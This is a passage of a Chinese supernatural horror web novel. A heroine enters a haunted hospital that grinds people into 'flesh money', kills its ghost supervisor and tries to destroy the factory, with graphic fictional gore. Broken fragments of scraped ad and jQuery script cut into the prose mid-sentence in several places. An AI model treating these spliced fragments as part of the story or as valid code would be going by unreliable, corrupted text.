耳麦里传来飞行员的答复:“操纵杆失灵,无法爬升。” 身后的队友面色凝重望着她,“秦姐,怎么办,下不下?” 秦熏沉吟片刻,做了决定,“我一个人下,你们在森林外接应我。” 其他人面面相觑:“这……” 秦熏解开身上的伞包,丢回座位上。她回头看了眼其他队友:“我能活着落地,你们未必,别来送死。” 直升机飞到一处空地上方,她瞅准位置,纵身一跃。 巨大的失重感撕扯着她的五脏六腑,几秒钟的功夫,她急速下坠的身体穿过茂密拥挤的枝叶,坠落地面。 她的四肢断裂,颈骨弯折,换个人已是死得不能再死,但她只是调整了一下位置,将它们安了回去,便起身走向视野中发光的那处祭台。 祭台古朴宏伟,顶部的巨手上托着一只精致的匣子,秦熏身手很好,这种常人难以攀登的陡峭石台于她而言如履平地,匣子顺利到手。 一道冰冷气息顺着她的手臂钻进匣子中。 顷刻间,整片森林飞快枯萎,枝叶凋零。 无数大树拔出自己发达的根系,像人一样奔跑着,凶恶扑向在林间闪转腾挪,一路往西的秦熏。 秦熏面无惧色,即使有树枝穿透她的躯体,甚至她的心脏,她也丝毫未惧,依旧坚定地往西边那个大峡谷冲去。 队友们的直升机在森林上方盘旋,震耳欲聋的轰鸣声为她指引方向,她知道自己越来越近了。 果然,又跑了十来分钟,眼前豁然开朗,峡谷断崖就在前方。 崖下一片漆黑,漆黑的雾浪翻腾,似乎有什么东西在底下不安躁动,她鼻尖嗅到浓郁血腥。 手里的匣子愈发冰冷,秦熏握紧它,“下面交给你了。” 她手臂抡圆,把那匣子丢进峡谷里。 霎时,林中所有发狂的树都停下动作,呆立原地。 秦熏有点紧张,“成功了么?” 耳麦里传来直升机上队友的答复,“峡谷里的躁动平息了。” 她终于长舒了一口气,“那就好,放绳下来吧,拉我上去。 她攥着绳子攀到半途,上面拉绳的队友突然齐齐面露惊恐,瞪着她身后。 秦熏猛地回头,一道看不清形状的庞大黑影突然撕开峡谷底下凝聚着的浓雾,朝天上拍来。 那像是什么东西的触手。 直升机被黑影扫 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 过,崩溃解体,带着秦熏一起坠下万丈深渊。 她猛地睁开眼睛,眼前是那盏昏黄路灯,阿冬抱臂倚着灯柱,静静盯着她看。 “我,我这是过来了?”秦熏愣愣回头,身后就是那片林子,哪有什么被黑暗笼罩的空地,陈然的尸体也不见了。 她忙问阿冬,“那陈然呢?他也过来了?” “不。”阿冬淡淡道,“他的气息在出林后就消失了。” 秦熏垂下眼睫,看来陈然的死是真的,她经历的那片黑暗,并非幻境…… 她擦掉手臂上的血痕,露出底下毫发无损的皮肤,身上倒是不痒了,就是亲眼见着人被活生生吃掉给她带来的心理阴影还在。 算了,过都过来了。她闭了闭眼睛,将陈然的死强行抛在脑后。 正欲开口另起话题,阿冬突然道:“你刚在做梦?” 问的是刚闭上眼睛那会儿?秦熏屈指揩去面颊上的冷汗,“嗯,这段时间经常做梦,还都是同一个梦。” “梦魇?”它似乎觉得很稀奇,“我竟不知道你有这个困扰。” 秦熏翻了个白眼,“还不是因为你,你一来我家,我就开始噩梦缠身。” “以前我也来找过你,你从来不会这样。” 以前?秦熏听出点意味来,“你是说……‘你苏醒,然后来找我’这样的流程过去也发生过?” “对,我们的合作关系持续了很多轮。”阿冬补充道:“不过这次有点不一样,你完全不记得我。” 很多轮?秦熏脑中嗡了一下:“等等,你这说的一轮……是多少时间?” 阿冬想了想,“通常我恢复身体后就会跟你告别,玩一段时间后再度沉睡,等下一次被唤醒,再找上你。每个阶段时长都不一定,因此一轮时间短则十年,长则百年。” 秦熏懵了,这么长! 她指了指自己,“人的寿命也就一百来岁吧,你确定之前跟你这一轮一轮合作的人是我?” 阿冬毫不犹豫地点点头:“是的。” 秦熏一时不知该说什么,她难不成是个老怪物? 她忽记起梦里那个精致的盒子,现在一回想,跟它自称被她烧了的容器长得一模一样啊。 她忙问,“我以前有和你去过一个峡谷吗?是坐直升机去的。” “每一轮都会去。”阿冬淡淡道,“一般我醒了,里面的东西也就醒了,我们每次都会去镇压它。” 秦熏拧起眉头,“里面的东西?那是什么?” “我不知道,你从来没告诉过我。” “那上一轮,我们镇压成功了吗?”秦熏想到梦里那架坠机的直升机还是有点心有余悸。 阿冬有些苦恼,“我喜欢把新鲜重要的记忆放在容器里,可因为容器被毁,现在剩下的只有些无关紧要的遥远记忆,上一轮的记忆也已经被烧掉了。” 秦熏:“……” 她幽幽叹了口气,算了算了,多想无益,车到山前必有路,慢慢来,总能搞清楚她的身世之谜。 这年头,管你是超人降世还是天王老子下凡,都得打工赚钱,先把王赫找到再想其他。 她看向眼前的医院,“就是这里了吧?” 老三院是几十年前建筑风格,整体并不大,只有一栋楼,五层高,有很多窗子。 路灯正对着二楼,将一扇窗照亮,秦熏清晰地看见窗子里立着一个人影。 她看不清那是男是女,人影头部淹没在黑暗中,也不知是不是长发遮住了脸。 它就那样站在窗口,一动不动对着唯一的光源,公路边的路灯。 5. 工厂 秦熏在许多经典恐怖电影里都看过这样的画面——站在窗边的鬼影,但人家都是一闪而过,哪有这么木楞愣站在原地的。 她跟那人影对视了一会儿,人影原本垂在身侧的手忽然直直抬起,指着秦熏后方。 秦熏回头一瞧,林子里静悄悄的,空无一物。 但人影的手依旧坚定指着她身后。 秦熏目光烁动,是她的错觉么,这简直像是让她赶紧离开一样。 虚掩着的医院大门里传来或男或女低声交谈的声音。 再往前一步,又画风突变,变成了拉长的尖利嚎叫,掺杂着咚咚咚砸东西的声音,甚至还有东西用指甲或什么尖利的事物抓玻璃,激得秦熏浑身一激灵。 秦熏有点懵了,她回头看了眼阿冬,“里面是人是鬼?” 阿冬感应片刻,答道:“有人也有鬼。” 秦熏心神一凛,王赫也在里面,可不能还没付钱就被鬼玩死了! 她忙上前推门,怎料刚踏上台阶,身后所有路灯蹭的一下亮了起来。 紧随其后,医院的所有的窗户,齐齐迸发出极强的光亮,秦熏感觉自己就像迎面对上几十辆开着远光灯的车。 不仅如此,这光还跟会往人脑袋里钻似的,在光照下,秦熏脑仁儿突突跳着疼。 她忙抓起阿冬递来的墨镜戴上,这才好受一些 再抬头看向那窗,刚在窗子那儿一动不动的白影这会儿又变成了黑色,而且开始奇异扭动起来。 而且不止这一个窗子,所有窗子前都出现这样的影子,各自“起舞”,不,比起舞蹈,更像是手摸电门,浑身抽抽,伴随着尖长的指甲在窗上抓挠,嘶吼不止。 秦熏眯了眯眼睛,忽然发现些不寻常。 即使戴着墨镜,有些细节看不大清,她依旧能看见这些人影的身体部位在逐渐被光吞噬,四肢变短,脑袋越来越尖。 她恍然惊觉,这些黑影的扭动原来是在痛苦挣扎。 怎么会这样?不止刚才那片亦假亦真的黑暗会吃人,连这里的光都不正常吗? 好在光明的持续时间比刚才的黑暗短暂得多,只几秒钟的功夫,亮瞎人眼的医院建筑就恢复了不久前的黑暗,路边的灯也只剩一盏。 秦熏摘下墨镜,再看四楼那个人影,它的两对手臂已经完全淹没在黑暗之中,看来是刚才那会儿被光吃掉了。 秦熏若有所思,“窗子后面那也是人?” 阿冬摇头:“不,这些都是亡灵。”它指了指她手里的墨镜,“记得亮光的时候马上戴上,这儿的光亮起的时间没有规律。” 秦熏眉头一紧:“这光又是什么东西?” “它能伤害魂魄,有一定可能会让你失去理智。” 秦熏悬着一颗心,推开医院大门。 她本以为门里会黑洞洞的,什么都没有,但出乎意料,里面的东西多得超乎她想象。 入门就是一个硕大无朋的机器,机器上方的楼板为了容纳这台机器已经拆掉了大半,抬头能看到星空。 机器两侧连接着长长的流水线,跨越整个走廊。 流水线边有一些莹莹发亮的东西提供照明,这使得她勉强看清里面的情形。 分不清是人是鬼的东西挤在流水线边,分拣着上面红彤彤的、跟钞票一样的东西。 她在那群奇形怪状的“牛鬼蛇神”里看见了王赫。 王赫的秃顶已经被彻底“治”好了,乱七八糟的粗长黑管取代了他的头发,深深扎进他的头皮里,看上去有点像脏辫,但由于它们还会动,秦熏觉得那更像长条蚯蚓。 他油腻的脸上布满红光,眼里写满贪婪,一把一把地抓着流水线上的“钞票”,往衣服里塞。 秦熏刚要过去,突然有人……呃,秦熏看了眼他只剩半个的头,这应该是鬼吧,这只鬼拦下了她,上下打量一眼,趾高气扬道,“新来的?别乱跑,这边来。” 这只鬼出现后,流水线上所有的人鬼瞬间变得安静,低头分拣着不同颜色和厚度的“钞票”,不敢交头接耳。 王赫强自镇定地理了理因塞进太多“钞票”而鼓起的上衣。 秦熏不想搭理这只鬼,她径直往王赫那儿走。 鬼身形一闪就蹿到她跟前,手里拿着个手电样的东西射向她的眼睛,但一只戴着手套的手捂住了光源。 阿冬笑道:“这样不好吧,我们秦老师不喜欢闪光灯的。” 鬼上下打量它,勉强还看得出是眉毛的部位深深皱起:“又没有死气,又没有生气,不人不鬼,你是什么东西?” “仿生人咯,底特律玩过没?” 秦熏:“……”她推开阿冬,冲那鬼道:“我们是来找人的,找到人就走。” 鬼眉头一竖:“走?来这儿的人鬼灵一律不许走。”他指了指身后庞大的机器,“肉钱的生产需要工人,能来这里是你们……”他顿了顿,还是只看向秦熏,“是你的荣幸。” 秦熏面色微沉:“肉钱?那是什么东西?” 鬼不高兴了:“你是来干活的还是采访的?” 说完他丢给秦熏一个小牌,指了指二楼,“记住,我是这里的主管,你以后就是编号456,以后见我必须弯腰鞠躬喊主管好。现在去楼上登记,领到篮子后就马上下来干活,如果五分钟内见不到你,你就等着被做成窗子和票子吧。” 说完他背着手趾高气扬地走了,边走边晃着它手里那手电筒样的东西,巡视流水线。 路过王赫时,他步伐一顿,突然发狂,揪着王赫从流水线后拖出来。 王赫大骇,膝盖一软就跪倒在地,慌里慌张把衣服底下塞着的“钞票”堆回流水线上,“我……我,我再也不敢了。” 主管揪了揪他头顶的“蚯蚓”,“上回抓到你的时候,你也这么说,我才只让它们吸你的血做惩罚,这回要再罚这么轻,怎么都说不过去吧?”他看了一圈,“大家说是不是?” 此话一出,流水线旁无论人也好,鬼也好,面上都露出藏不住的兴奋与狂喜。 人群大喊,“票子!”鬼群大喊,“窗子!” 一时间,整个医院都充斥着激动的欢笑和呼喊声。 王赫在这声势中吓得浑身发抖,面色惨白,他惶恐环顾四周,忽然看到不远处的秦熏,忙大喊:“救我!救我!” 他这一嗓子汇聚了所有目光,众人(鬼)齐刷刷看向门口立着的秦熏。 秦熏皱了皱眉头,正欲上前,阿冬忽然冲她低声道,“枪我已经附过魔了,能驱鬼,也能杀人。只要不直视亮光超过五秒,这里没有东西能对你造成威胁。” 她挑眉,“我还没想开打呢。” 如果不是王赫突然看见了她,她还想多围观一会儿,毕竟那可是王赫啊,她那深受折磨的职业生涯里最“浓墨重彩”的一笔。 阿冬笑了笑:“一个合格的助理总要面面俱到。” 秦熏低头看了眼手里的枪,枪身仿佛镀上一层幽蓝,但再定睛细看,又和普通的枪没有区别。 她又抬眼看向人(鬼)群。 主管本就看不出人样的面色登时难看无比,“456,你怎么还没上去登记!” 秦熏轻 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 咳一声,“我有问题,票子、窗子是什么?” 王赫大喝,“还问这做什么?!快把我救出去!” 主管恍然大悟,狞笑道:“啊,你刚说你来找人,原来是来找398的?挺好,”他环顾一圈,“各位,今天又能有票子,又能有窗子了。” 人(鬼)群顿时欢呼起来,看着秦熏和王赫的目光里满是恶意和贪婪。 秦熏眯了眯眼睛,“就没一个能回答问题的么?” 主管见她一点儿都不怕,脸色更难看,“这么好奇,那你就去体验一下吧。” 话音一落,机器上方突然探出一只长长的触须样的东西,触须顶部张着一只巨大的爪子,爪子直直朝秦熏探来。 秦熏不闪不避,任由那爪子抓个正着。 不远处看着的阿冬见状刚要上前,秦熏冲它比了个手势:“别动。” 爪子把秦熏抓到半空,与二楼平齐的地方,她看到二楼的每扇窗前都用巨大的楔子钉着一个人形物。 它们无法在地上或窗面玻璃中留下影子,无疑是亡魂,应该就是她在医院外看到的那些随着灯光抽动的人影。 几个还残留头部的亡魂抬头看向越升越高的她,血红的眼睛里流露出同情与不忍。 有些已经没有了头的则缓缓抬起残缺的手臂,似乎在与她挥别。 她被机械爪带着一路上升,经过三楼,四楼,五楼,每一楼的窗子边,都有鬼影向她告别,她最终到了最顶层,和机器顶部齐平的地方。 机器顶部并非封死,她低头看去,底下原来是一个热气腾腾的血红“破壁机”,里面翻滚着无数人类的肢体,她在里面甚至还看见了穿着陈然衣服的遗骸。 巨大的机械齿轮带动末端的巨型刀片转动起来,那些沉沉浮浮的头颅与四肢便成了泥泞的肉沫。 肉沫被传送带送向下一环,这里负责把肉沫压平压紧,去水,并经过特殊处理,弄成纸片一样的东西,最后送去印制环节,出来的就是流水线一张张的“钞票”。 秦熏恍然大悟,难怪要叫肉钱,所谓票子,就是被扔进这巨大“破壁机”里被打成糊糊。 至于窗子……大抵就是被钉在窗边的那些亡灵吧,强光一来,率先选择吞噬的就是它们,一楼的人(鬼)则得以逃过一劫,可不就像极了窗子遮风挡雨的作用么。 她垂眸看向一楼,人人鬼鬼仰头望着即将被丢进机器中的她,欢呼声几乎顶破六楼楼顶的天花板。 机械钢爪松开钳制,把她丢进“破壁机”里。 她敏捷地蹦到一个横着的齿轮平面上,举枪对着机器下方与刀片连接的铁柱扣下扳机。 顷刻间,一团幽蓝火焰在巨大的机器内部烧了起来,血池里的肉块也好,肉泥也好,都被一把火烧了个干净。 秦熏离火焰近在咫尺,却未感觉到半分炙热,相反,它们是冰冷的,就像盛夏夜里刚洗完澡走到空调下一样,凉得人一激灵。 她新奇地看了眼枪口,想必这就是它那所谓的附魔效果了,也不知道是算寒冰附魔还是火焰附魔。 子弹同时击中了刀片的固联处。 失去控制的巨型刀片飞了出去,重重砍上机器内壁,开了个人那么大的口子,惯性使然,足足割了半米深,才不甘心地停下。 秦熏跳到刀片上,灵活地从那口子里钻了出去。 一切发生的非常快,从秦熏被丢进搅拌机,到机器故障,她顺利出来,只过去了半分钟。 在场人鬼被这一变故惊得目瞪口呆,齐齐愣在当场,主管那只剩一半的嘴更是张得老大。 6. 肉钱 最高兴的莫过于险些要拖去楼上做窗子的王赫,他趁主管不备,连滚带爬跑向秦熏,“走,快,快带我走!” 秦熏不满瞪了他一眼,“急什么。” 她刚趁着被那机械爪带到半空的时候顺便看了一下这栋大楼的主体结构,想找到离开的通道。 然而偌大空间,除了她和阿冬进来的那扇门,以及头顶的大口子外便再无出口。 这会儿功夫,主管和屋里的人鬼都反应过来,看着她的目光又惊又惧。 秦熏跳下刀片,径直走向它们。人(鬼)群齐齐后退了一步,把主管顶了出来。 她举枪指着那主管:“这里到底是什么地方,为什么要做这些肉钱?” 主管眼神里写满轻蔑,“用枪威胁我?”他嗤笑一声,“上回来了一队人,也带着枪,对着我就是一梭子,然后呢,猜猜最后成了多大面值的肉钱?” 他指了指坏掉的机器,傲慢道:“你以为我们自动化后就没有人工生产线了么,我告诉你,我抡着锤子不知道砸烂多少……” 砰!秦熏抬手冲着他小腿打了一枪,幽蓝火焰自他裤腿烧起,眨眼功夫,就吞没了他的小腿。 主管面色巨变,跌倒在地,哀嚎不止,“这,这枪怎么回事?!” 秦熏冷冷道:“我还以为鬼没有痛觉呢,今天真是长见识了。” 她枪口上移,指着他的脑门儿,“不知道往这儿来一枪,你会不会再死一遍。” 主管神色大骇,“你……你到底是谁?” 秦熏用枪顶着主管所剩无几的脑门儿:“现在是我问你,还是你问我?” 主管眼中满是怨毒,“我们不会放过你的。” 呵,这么硬气?秦熏二话不说扣下扳机,主管在一声凄厉的尖啸中灰飞烟灭。 她起身环顾四周,众人鬼齐齐错开眼神,瑟缩恐惧地蜷起身形,生怕被她点到。 秦熏:“现在主管已经死了,你们难道就不想离开这里?” 王赫忙道:“想,想,当然想。” 他应该是最想出去的了,他走进人群,鼓动他们,“我们的亲人朋友都在外面,还有我们的房子车,你们难道想在这儿待到死?”他指了指旁边的鬼群,“然后变成鬼继续这样的生活?” 人群不为所动,麻木地看着秦熏和他。 秦熏皱了皱眉头,王赫劝说无果又跑回来冲着她道,“哎呀,它们劝不动的,被那光照久了,早就精神崩溃变成行尸走肉了,还好你来得快,不然我也变成那样了,别管他们,我们赶紧走就是了。” 秦熏捡起地上的手电筒,“是这个光?” “是,”王赫搓了搓手,“听那主管训导的时候说过,这手电的光是外面白光的弱化版,虽然没有那么强力的噬魂速度,但还是能让人灵魂刺痛,对鬼而言,”他鬼鬼祟祟看了眼死气沉沉的鬼群,“听说就跟挨了鞭子一样。” 秦熏沉默着扫视挤在流水线边垂着头颅,不敢看她的人人鬼鬼,“真没有想走的?” “走不了的。” 鬼群里突然传出微弱的声音。 秦熏循声看去,那是一个苍老的男人……男鬼。 他幽幽道:“你们没看到外面都是那种白光么?出去就是魂飞魄散,不如留在这里,等新主管来。” “是啊,”人群里齐声附和他,“等新主管来。” 此话一出,秦熏就知道他们和那主管一样,不可能配合她找到出口的。 她蓦地想起自己一路上升时,那些窗子边的亡灵眼里的同情与不忍。 它们或许会愿意多说些,要是知道出口在哪儿就更好了。 她于是迈步往二楼走,不料这一举动就像一石激起千层浪,所有的人人鬼鬼突然朝她冲过来。 “你想做什么!”他们眼中虽有恐惧,更多的却是警惕,“你想放了那些窗子?” “不行!绝不能放!没有窗子我们怎么办!” 秦熏淡淡道:“那就重新选窗子呗,你们这么多人,这么多鬼,还能堵不上区区六层楼的所有窗子?” 此话一出,众人鬼哗然,道理都懂,可这是送命的事,谁会想去。 “拦住她!”也不知是鬼群还是人群里突然喊了一声。 登时,潮水般的人鬼齐齐涌向楼梯口,一个个目光狠厉,看着要把秦熏生吞活剥似的,王赫缩在她身后,满脸惧意。 秦熏唇角勾了勾,“我刚上去的时候可看见了,它们状态很不好,再来一次强光,你们的窗子就不剩多少了,到时候照样要选新的。嗯……一层十扇,一共五十扇,我劝你们还是趁早选好。” 底下的人鬼面面相觑,有声音突然打破寂静,“应该让你们鬼上吧?反正你们都已经死了,守着具残魂有什么用。” 拱火的正是站在人群里的阿冬,也不知这家伙是何时混进去的,秦熏眼尖地瞅见那些人手里都捏着它发出去的金色小卡片。 她嘴角抽了抽,这家伙真是,见缝插针地发名片,也不嫌丢人。 不过它的配合倒也称得上及时,一句话激起人群共鸣,“是啊,平时本来就是我们工时更长,现在也该你们鬼出力了。” 这话一出,鬼群听了当然不乐意,“我们都是死过一次的人,再死一次,公平何在?怎么着也该你们人去死。” “就是就是,”有鬼附和道:“至于工时,那还不是你们人喜欢卷?没你们卷我们都不用那么累!” 这一来二去的,人群鬼群登时炸开了锅,吵上几句后甚至动起了手。 也不知医院里头是否存在某种限制,鬼在这儿并无压倒性的优势,人的物理攻击仍能奏效,两边看着就跟打群架的小混混一样。 拱火成功的阿冬不紧不慢走回她身边,“走吧。” 秦熏微微颔首,丢下底下打得不可开交的人人鬼鬼,径直上楼,她记得二楼西南角有只状态还不错的,王赫亦步亦趋。 二楼西南角,右数第二扇窗的窗边是个女鬼,正是秦熏看上的那只。 走近了她才发现从这扇窗能看见外面的路灯,无疑,这就是她之前在医院楼下看见的那扇,换言之,这只女鬼就是当时窗边的人影。 见她突然来到跟前,女鬼青白带血的脸上出现惊讶的神情,“你……你居然没事?” 可能是很久没说话了,她的声音听上去有点生涩,空灵地飘荡在残破老旧的二楼。 秦熏点点头,直入主题:“这里是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 怎么回事,你知道多少?” 女鬼目光迷茫了一瞬,“我也不知道,我也是刚来不久,我……我们查一桩失踪案的时候进了一栋大楼,然后不知怎么的,我就来了这个地方。” “大楼?”秦熏一怔,“你们不是从那条公路进来的?” 女鬼茫然:“公路?” “没事,”秦熏摇摇头,“你继续,你刚才说到失踪案,是外界闹得很大的那桩连环失踪案?” 女鬼颔首,“没错。” “那你是袁娜?” 袁娜一愣:“你怎么知道?” 秦熏也是在新闻上看到的,有位女警在调查中也失踪了,名字就叫袁娜。 当时秦熏还惋惜了好一阵,因为通告里提到袁娜功勋卓越,曾参与破获多起妇女儿童拐卖案,她两对对她都很有好感,折在这桩案子里实在是天妒英才。 现在真见到她了,秦熏更觉唏嘘,照片上的袁娜英姿飒爽,哪像眼前这鬼魂一样,苍白羸弱。 她沉默片刻,问:“那些失踪的人,其实是跟你一样,都被关进这儿了吗?” 袁娜苦笑,“是啊。我们刚来的时候得罪了那个主管,然后他就让我做了什么‘窗子’,把我钉在这儿,后面我才知道,原来是把我们喂给那光,当祭品。我那几个队友都……”她语气陡然沉重,顿了半晌才继续说,“那光笼罩着我的时候,我听到很多声音。” “什么声音?” “像很多人说话,”袁娜迟疑道:“那些好像曾经也是被光吞噬的人,他们教我脱离苦海的办法。但……”她苦笑着指了指身上的巨大楔子,“我走不了。” 她看向其他窗子边的鬼魂,“他们也都听见了,但我们被钉在这儿,什么都做不了。” 秦熏低头看了眼袁娜身上的巨型钉子,“如果我能把这弄下来,你能带我们找到通道?” 袁娜笑了起来,“没有通道的,逃离这里唯一的办法就是彻底摧毁这个工厂,那样我们就都能解脱,活人重回阳间,死人去往归阴间。” “工厂……”秦熏低声喃喃。也是,连流水线都有,还有所谓主管,真就是跟工厂差不多。 可听一楼那些人鬼说,不久还会有新主管调过来,那是从哪儿调过来?她面色凝重,难道这工厂背后还有一个管理组织? 既然如此,这真的是唯一一座血肉工厂么?其他地方会不会还有更多? 问题太多,她脑仁儿有点痛。 袁娜定定看向秦熏,“你能从那机器里逃出来,摧毁工厂这种事……兴许只有你能做到。” 秦熏眉头一紧,“那要怎么摧毁工厂?” 袁娜仰头看向天上的星空,“天上有一颗虚假的星星,那是监管者的眼睛,只要眼睛闭上,这间工厂也就不存在了。” 秦熏瞳孔地震,天上的星星? 这……这实在有点强人所难了吧?她虽然能身抗子弹,可这不代表她真是超人,能绕地球飞N周半啊! 她手里也只有一把小手枪,往天上打星星,科技树点到顶也不一定有那个水平。 袁娜道:“它不总是挂在天上的,当它下来巡视的时候,那道光就会亮起,那也是离我们最近的时候。” 7. 白光 “最近?”秦熏眉头一皱,“有多近?” 袁娜看向她手里的手电筒,“就在这里面。这东西之所以也能发出光,就是因为监管者留下的余晖。” 秦熏恍然大悟,“也就是说,我得趁光亮来时,把这手电筒毁了?” “我想是的。”袁娜有点担忧,“但你不能碰到光,不然你就会像我们一样,灵魂被吞噬得面目全非。” 嗨,巧了么这不是,秦熏狂喜,枪可是远程武器,她手里刚好就有这么一把。 “那种光一般什么时候会来?” 袁娜想了想,“大概一天一次吧。那声音没有说,我的判断是这样的。” 啊?秦熏一愣,那今天都来过一次了,岂不是得等到明天? 她有些着急,“这地方要怎么判断时间流逝?” 王赫比她更急,“是啊,这外头一直是无边无际的黑暗不是么?谁知道一天是多久。” 袁娜有些茫然,“光来了,不就是天亮了么?” 此话一出,秦熏哭笑不得,感情您是靠这亮光判断一天开始和结束的,属于是拿理论本身去证明该理论了,和没说有什么区别? “算了,”她干脆在二楼找了个地方坐下了,“我就在这儿等着吧。” 一楼看样子是见不到那光的,必须在窗子这儿才能守到。 阿冬闲来无事在二楼转悠,转眼间又没了影。 秦熏对此已见怪不怪,它总有一些奇怪的关注点,行事风格也很古怪,但毕竟不是人嘛,也情有可原。反正一会儿就会回来,不会影响到事态发展就好。 等了好一会儿,光都没来,秦熏起身活动了一下。 她沿着窗边走,经过某扇窗时,那窗边的鬼突然开口:“你为什么要离开这儿呢?主管也好,那些人鬼也好,谁都奈何不了你,在这儿,你就是绝对的最强者,永远不用担心会变成窗子或者票子,你的寿命会和这个工厂,会和监管者一样无穷无尽,这似乎不是什么坏事。” 秦熏循声看去,那是一只外形奇特的鬼。 之所以说奇特,是因为这只鬼不同于刻板印象中的鬼,他没有肢体,也没有头颅,圆滚滚的,跟球一样。 她眯起眼睛,“不是什么坏事?难道在这种地方待一辈子会是好事?” 她还有那么多好看的电影没看,那么多好玩的游戏没玩,在这儿多待一个小时都是煎熬。 那只怪里怪气的鬼看向二楼尽头的一个房间,“你如果怀念人类的玩具,只要进去那个房间,那里什么都有。” 秦熏:“哈?” 不远处的袁娜冲她摇摇头,“你别理它,它跟我们不一样,它完全被洗脑了。” 王赫却道:“它说的倒是真的,我就是在那儿给你打电话的,里头甚至还能上网。” 他说着甚至有点兴奋,“除此之外,房间里会有任何你想要的东西,有些甚至是外面永远体验不到的,你在里面想待多久待多久,直到睡过去。” “睡着了,这一次体验也就结束了。不过只要能攒够100张肉钱,就又能进去。我们每天在流水线工作就能赚5张,加班的话还有额外津贴,如果手脚够快,从流水线上再薅一点,那凑齐一百就更简单了。” 看他那眉飞色舞的样子,秦熏欲言又止。 这间能纵享人间极乐的屋子才是一楼那些人人鬼鬼不愿离开,如此狂热的原因吗? 她目光微沉:“既然说得那么好,那你为什么还急着要走?” “再不逃出去这东西迟早把我吸干,”王赫苦笑着摸了摸头上的黑管,“而且这段时间没什么人进来,肉钱产量不足,工资已经砍半了,过不多久可能就要把员工拿去做票子,我可不想死在这儿。” 袁娜冷淡道:“我记得你,你不是和主管约定了么,会多拉几个人进来,那样主管就会帮你去掉这些吸血管。” 王赫面色一白,飞快看了秦熏一眼,尴尬笑道:“那不是为了蒙过主管的权宜之计嘛。” 秦熏脊背发凉。 她进来时拿到的编号都已经排到了456号,算起来这工厂里人人鬼鬼已经快有500人了,还得算上前前后后无数被当作消耗品的票子和窗子…… 这么多人,真的都是意外进到这里来的吗? 来的人多了,制成票子原材料也就多了,这些“老员工”能分到的肉钱也就多了,绝对会有人为此通过那间屋子打电话喊来自己的亲朋好友,忽悠他们来送死。 至于有胆反抗,向外求助的,肯定已经和袁娜一样,被做成窗子或票子了。 王赫见她面色难看,忍不住还想给自己找补几句,秦熏突然伸手揪起他的衣领。 王赫慌张挣扎,谁能想到她这么个20出头的年轻姑娘能有这么大力气,他的脖子被衣领勒得生疼,呼吸困难,声音磕磕绊绊:“怎……怎么了?” 秦熏冷冷看着他,“除了我,你还打电话给了谁?” 王赫吞吞吐吐道:“没……没人了啊,就是因为你给我发那短信我才……我不是担心这东西马上就要吸干我了么,刚好你说能帮我,我才打过去的……” “是么?”秦熏手上缓缓用力,“我感觉你不像在说真话。” 她冷冷瞪着王赫:“刘婷呢,你给刘婷打过电话没有?” 刘婷是她离职前在公司里关系最好的同事,也是她这三年来在世上认识的唯一一个朋友。 刘婷是个热心肠的人,当时她妈生病住院,床位就在秦熏边上,刘婷来陪床时听说了秦熏失忆,自告奋勇帮忙。 秦熏出院后,她又是帮着张罗住处,又是给安排工作,秦熏能飞快熟悉这个世界,也多亏了她耐心教,甚至秦熏失业的这几个月,也一直是刘婷在接济。 可就是最近这段时间,秦熏突然联系不上刘婷了。 她原以为可能是自己累人家帮忙太多,人家烦了她……现在一看,情况明显没那么简单。 王赫惊恐地试图解开她的手指,然而无济于事,她的力气大得无从反抗。 狡辩不成,他只能说实话:“打了,我跟她说第二天去商恒大厦接人。” “商恒大厦?” “对,我,我就是从那里来这儿的。” 秦熏继续盘问:“什么时候打的电话?” 王赫眼神飘忽,小声算道,“我8号进来,进来不久后就被主管抓到偷钱 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,然后就给她打了电话……” 8号……秦熏脸色微沉,她来这儿的时候都28号了。 王赫忙辩解道:“但我没见她来,你还是第一个。兴许她根本没把我的电话放在心上呢?” 秦熏也只能怀抱期望,往好处想,否则她心里是真难受得慌。 她给王赫好一顿拳打脚踢,揍得鼻青脸肿了才放开,要不是想着那笔钱,她绝对直接把他从这儿踹下去。 王赫小心翼翼碰了碰被打青的脸,那叫一个敢怒不敢言,不光是她手里的枪,她这异常高的武力值就够令人发怵的了。 他试图说些什么缓和气氛,秦熏冰冷的目光投来,他悻悻闭上嘴。 秦熏站在扶在二楼的扶手边,心里担忧得紧,她看向底下的人群与鬼群,想确认刘婷到底在不在里头。 她目光扫过一张又一张脸,不知看了多久,底下吵得不可开交的人人鬼鬼突然静了下来。 它们缓缓仰头,齐齐看着上方的星空,目光呆滞。 她心头猛地跳了一下。 下一瞬,一道极强的光突然席卷二楼,秦熏目光所及只能看见堵在窗前的袁娜。 袁娜用力张开身体,急忙朝秦熏道:“快,躲我后面!别让光扫到你!” 秦熏动作很快,戴上墨镜的瞬间缩到她的“影子”下,同时抬抢射中地上那支手电筒的尾部。 虽然她的记忆里自己不曾摸过枪,但她的身体却对此很熟悉,枪法极佳。 即便手电筒尾部是个很小的目标,且又隔了那么一段距离,她依然用一颗子弹贯穿了整个手电筒。 然而,巨大枪声过后,手电筒静静躺在地上,完好无损,周遭的景象也毫无变化。 秦熏深深皱起眉头。 按说击中手电筒也就击中监管者的眼睛,这间工厂,这道刺目白光都该消失才对,可…… 她看了眼仍在光里痛苦挣扎着的袁娜,难道她刚刚其实没打中? 她丝毫不敢耽搁,又是几发子弹射出, 这光持续的时间很短,如果不能在这段时间里顺利解决,那袁娜他们还会遭遇第二轮乃至更多论戕害,极有可能等不来自由就被光彻底吞噬。 子弹裹挟着幽蓝火焰融进光亮,就像水滴没入汪洋。 无声无息,无影无踪,此时的火焰完全没有对付机器和主管时那样强力的表现,堪称毫无杀伤力。 怎么会这样? 秦熏心一狠,干脆直接冲出阴影,捡起手电筒。 袁娜边痛苦哀嚎,边忍不住喝道:“快回来!不能接触那光!” 秦熏当然知道危险,但她此时不得不这样。 谁也不知道下一次光亮什么时候会来。 她在赌那五秒种。 阿冬说只要暴露不超过五秒,所有的东西,即使是这个光,都无法伤害她! 她心跳得飞快,用力掰着手里的手电筒。 既然这手电筒和她的身体一样刀枪不入,那她倒要看看哪个厉害。 